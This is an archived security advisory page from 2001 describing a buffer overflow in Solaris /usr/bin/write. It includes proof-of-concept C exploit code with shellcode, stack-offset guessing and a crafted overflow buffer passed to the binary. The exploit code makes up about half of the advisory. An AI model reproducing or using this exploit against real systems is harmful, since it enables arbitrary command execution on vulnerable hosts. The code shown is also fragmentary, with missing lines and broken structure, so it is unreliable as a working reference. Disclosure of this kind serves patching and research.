[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
- read forum
- new topic
- search

- meetings list
- recent additions
- add your info
 top 100 sites
- visit top sites
- sign up now
- members

- add your url
- add domain
- search box
- link to us

- our projects
- free email
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Solaris /usr/bin/write vulnerability

Title: Solaris /usr/bin/write vulnerability
Released by: Pablo Sor
Date: 17th January 2001
Printable version: Click here
I have written an exploit for the /usr/bin/write command , this is not a


vulnerability but it has not been fixed at least till Solaris 7 patchs

(dont know about Solaris 8).

This command contains a buffer overflow in the second argument. If this

data exceeds predefined length, inserting two values into the argument

it is

possible to copy the first one into the memory position pointed by the


one, using this technique it is possible to execute arbitrary commands.

I have seen some messages saying that this vulnerability could not be

exploited eitherway

this command has sgid tty so I do not think it could generate serious

privileges problems.

Technical Description - Exploit/Concept Code:




 /usr/bin/write overflow proof of conecpt.

 Tested on Solaris 7 x86

 Pablo Sor, Buenos Aires, Argentina. 01/2000


 usage: write-exp [shell_offset] [ret_addr_offset]

 default offset should work.


long get_esp() { __asm__("movl %esp,%eax"); }

char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"











               /* shellcode by Cheez Whiz */

void main(int argc,char **argv)


FILE *fp;

long magic,magicret;

char buf[100],*envi;

int i;

envi = (char *) malloc(1000*sizeof(char));






if (argc!=3)


 magicret = get_esp()+116;

 magic = get_esp()-1668;




 magicret = get_esp()+atoi(argv[1]);

 magic = get_esp()+atoi(argv[2]);





for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);

execl("/usr/bin/write","write","root",buf,(char *)0);


(C) 1999-2000 All rights reserved.